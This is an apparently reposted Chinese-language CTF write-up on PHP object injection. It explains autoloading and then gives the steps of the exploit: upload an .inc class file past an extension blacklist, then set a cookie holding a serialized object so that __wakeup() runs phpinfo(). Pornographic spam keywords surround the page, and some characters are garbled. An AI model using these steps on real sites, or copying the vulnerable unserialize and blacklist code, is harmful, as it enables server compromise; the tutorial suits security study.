激情欧美日韩一区二区,浪货撅高贱屁股求主人调教视频,精品无码成人片一区二区98,国产高清av在线播放,色翁荡息又大又硬又粗视频

PHP對象注入的實(shí)例分析

時(shí)間:2024-08-27 02:48:46 PHP 我要投稿
  • 相關(guān)推薦

PHP對象注入的實(shí)例分析

  注入我們聽(tīng)到最多的sql了,其實(shí)php注入也是黑客常用的一種辦法了,下面我們就來(lái)學(xué)習一下php注入攻擊的記錄,希望大家能夠通過(guò)此教程來(lái)做好自己網(wǎng)站安全。

  1. 寫(xiě)在前面

  最近經(jīng)常會(huì )遇到一些比較有意思的漏洞,比如PHP反序列化漏洞,PHP對象注入。這些漏洞可能在平時(shí)很難遇到,但是在CTF以及一些CMS倒是經(jīng)?吹剿麄兊谋秤。今天剛剛好手上看到了某CTF的代碼,但是并沒(méi)有獲取所有源碼,因此修改了部分代碼進(jìn)行分析。

  2. 自動(dòng)加載

  2.0 為什么要自動(dòng)加載?

  在面向對象編程中,程序員經(jīng)常會(huì )編寫(xiě)好類(lèi)然后在一個(gè)入口文件中將它們包含進(jìn)來(lái)。如果一個(gè)項目非常大,可能存在成百上千個(gè)類(lèi)文件,如果一一包含進(jìn)去,那么入口文件就會(huì )顯得特別大并且不利于維護。因此,PHP5提供了一種自動(dòng)加載機制。

  2.1 __autoload

  index.php

  function __autoload($classname){

  $class_file = strtolower($classname).".php";

  if(file_exists($class_file)){

  require_once("$class_file");

  }else{

  echo "$class_file does not exist!";

  }

  }

  $obj = new File();

  訪(fǎng)問(wèn)index.php,程序會(huì )嘗試實(shí)例化File類(lèi)。PHP的解析器會(huì )自動(dòng)調用__autoload()函數。假設當前目錄下沒(méi)有file.php,那么就會(huì )輸出 “file.php does not exist!” 并且拋出錯誤。

  file.php

  class File{

  function __construct(){

  echo "File class is instantiated";

  }

  }

  此時(shí)訪(fǎng)問(wèn)index.php,就會(huì )得到 “File class is instantiated” 的結果。這樣一來(lái),自動(dòng)加載機制就非常好理解了。

  2.2 手動(dòng)調用 spl_autoload

  void spl_autoload ( string $class_name [, string $file_extensions ] )

  它可以接收兩個(gè)參數,第一個(gè)參數是$class_name,表示類(lèi)名。第二個(gè)參數$file_extensions是可選的,表示類(lèi)文件的擴展名;如果不指定的話(huà),它將使用默認的擴展名.inc或.php。

  spl_autoload首先將$class_name變?yōu)樾?xiě),然后在所有的include path中搜索$class_name.inc或$class_name.php文件(如果不指定$file_extensions參數的話(huà)),如果找到,就加載該類(lèi)文件。

  同樣,你可以手動(dòng)使用spl_autoload(“Person”, “.class.php”)來(lái)加載Person類(lèi)。實(shí)際上,它跟require/include差不多

  舉個(gè)例子

  spl_autoload("upload");

  $F = new Upload();

  這里沒(méi)有指定擴展名,那么就會(huì )在當前目錄下尋找upload.inc或者upload.php并自動(dòng)加載。其實(shí),到這里而言,和require、include相比并沒(méi)有簡(jiǎn)單。相反,它們的功能基本是一模一樣的。

  2.3 自動(dòng)調用 spl_autoload

  上面所說(shuō)的使用手動(dòng)的方式調用spl_autoload,工作量其實(shí)和require/include基本上差不多。調用spl_autoload_register()的時(shí)候,如果沒(méi)有指定欲注冊的自動(dòng)裝載函數,則自動(dòng)注冊 autoload 的默認實(shí)現函數spl_autoload()。

  舉個(gè)例子

  spl_autoload_register();

  $F = new Upload();

  此時(shí),程序會(huì )在當前路徑下自動(dòng)加載upload.inc或upload.php。

  3. 反序列化

  字符串序列化成類(lèi)之前,類(lèi)必須提前聲明,否則無(wú)法反序列化。

  字符串在反序列化的時(shí)候,會(huì )自動(dòng)調用__wakeup()魔術(shù)方法

  Object序列化格式 -> O:strlen(對象名):對象名:對象大小:{s:strlen(屬性名):屬性名:屬性值;(重復剩下的元素)}

  4. 漏洞剖析

  index.php

  include_once "common.inc.php";

  if(isset($req["act"]) && preg_match('/^[a-z0-9_]+$/is', $req["act"])) {

  include_once __DIR__ . "/" . $req["act"] . ".php";

  exit;

  }

  common.inc.php

  spl_autoload_register();

  error_reporting(0);

  ini_set('display_errors', false);

  $req = [];

  foreach([$_GET, $_POST] as $global_var) {

  foreach($global_var as $key => $value) {

  is_string($value) && $req[$key] = addslashes($value);

  }

  }

  $userinfo = isset($_COOKIE["userinfo"]) ? unserialize($_COOKIE["userinfo"]) : [];

  upload.php

  if($_FILES["attach"]["error"] == 0) {

  if($_FILES["attach"]['size'] > 0 && $_FILES["attach"]['size'] < 102400) {

  $typeAccepted = ["image/jpeg", "image/gif", "image/png"];

  $blackext = ["php", "php5", "php3", "html", "swf", "htm"];

  $filearr = pathinfo($_FILES["attach"]["name"]);

  if(!in_array($_FILES["attach"]['type'], $typeAccepted)) {

  exit("type error");

  }

  if(in_array($filearr["extension"], $blackext)) {

  exit("extension error");

  }

  $filename = $_FILES["attach"]["name"];

  if(move_uploaded_file($_FILES["attach"]["tmp_name"], $filename)) {

  array_push($userinfo, $filename);

  setcookie("userinfo", serialize($userinfo), time() + 60 * 60 * 24 * 30);

  echo htmlspecialchars("upload success, new filename is {$filename} .");

  } else {

  echo "upload error!";

  }

  }

  } else {

  echo "no upload file";

  }

  在common.inc.php中執行了spl_autoload_register()函數,并沒(méi)有使用參數。

  后綴沒(méi)有禁止.inc的類(lèi)型

  在common.inc.php會(huì )反序列化COOKIE中的數據

  上傳目錄在當前目錄下

  因此我們需要如下構造:

  上傳一個(gè)名為info.inc的文件,抓包修改MIME類(lèi)型。info.inc的內容如下所示:

  class info{

  function __wakeup(){

  phpinfo();

  }

  }

  修改cookie的uesrinfo字段為:O:4:”info”:0:{}

  訪(fǎng)問(wèn)index.php即可觸發(fā)phpinfo()函數。

【PHP對象注入的實(shí)例分析】相關(guān)文章:

PHP防止SQL注入的例子03-15

淺析php函數的實(shí)例04-01

PHP中curl的使用實(shí)例04-01

PHP面向對象重載重寫(xiě)的不同04-03

德國留學(xué)申請實(shí)例分析03-19

PHP中的排序函數區別分析03-31

javascript閉包的定義及應用實(shí)例分析04-01

2017考研英語(yǔ)閱讀經(jīng)典實(shí)例分析02-23

托?谡Z(yǔ)的評分標準及實(shí)例分析03-28

激情欧美日韩一区二区,浪货撅高贱屁股求主人调教视频,精品无码成人片一区二区98,国产高清av在线播放,色翁荡息又大又硬又粗视频